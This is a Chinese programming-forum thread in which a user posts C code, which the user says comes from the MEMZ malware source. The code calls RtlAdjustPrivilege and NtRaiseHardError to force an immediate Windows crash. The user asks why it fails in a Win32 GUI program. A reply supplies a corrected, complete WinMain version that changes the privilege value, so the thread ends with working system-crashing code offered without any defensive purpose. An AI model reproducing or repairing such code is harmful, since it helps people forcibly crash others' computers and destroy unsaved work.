鱼C论坛

 找回密码
 立即注册
查看: 1502|回复: 1

关于raiseharderror在Win32程序中调用无效的问题

[复制链接]
发表于 2022-8-4 19:00:14 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
这是我从彩虹猫源码中拷贝的死机代码(有改动)
#include<Windows.h>
#define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义,方便调用
#define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)

void killWindows()
{
    HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
    FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
    FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");

    if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了,则执行
    {
        BOOLEAN tmp1; DWORD tmp2;
        fun_RtlAdjustPrivilege(0x19, true, 0, &tmp1);//提升权限
        fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);//使电脑死机
    }
    else
    {
        MessageBox(NULL, L"执行失败!", L"提示", NULL);
    }
}
这段代码,在控制台程序中可以成功执行,不用给管理员权限。而在win32程序中无效,也不是提取入口地址失败。大佬们可以解答一下吗?

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2022-8-4 20:48:52 | 显示全部楼层
#include <Windows.h>
#include <stdbool.h>

#define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义,方便调用
#define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)

void killWindows()
{
    HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
    FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
    FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");

    if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了,则执行
    {
        BOOLEAN tmp1; DWORD tmp2;
        // 提升权限
        // 0x13 = SeShutdownPrivilege
        fun_RtlAdjustPrivilege(0x13, true, 0, &tmp1);
        // 使电脑死机
        // 0x06 = OptionShutdownSystem
        fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);
    }
    else
    {
        //MessageBox(NULL, L"执行失败!", L"提示", NULL);
        MessageBox(NULL, "执行失败!", "提示", MB_OK);
    }
}

/*
int main(void) {
    killWindows();
    return 0;
}
*/

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
    killWindows();
    return 0;
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-12-22 02:07

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表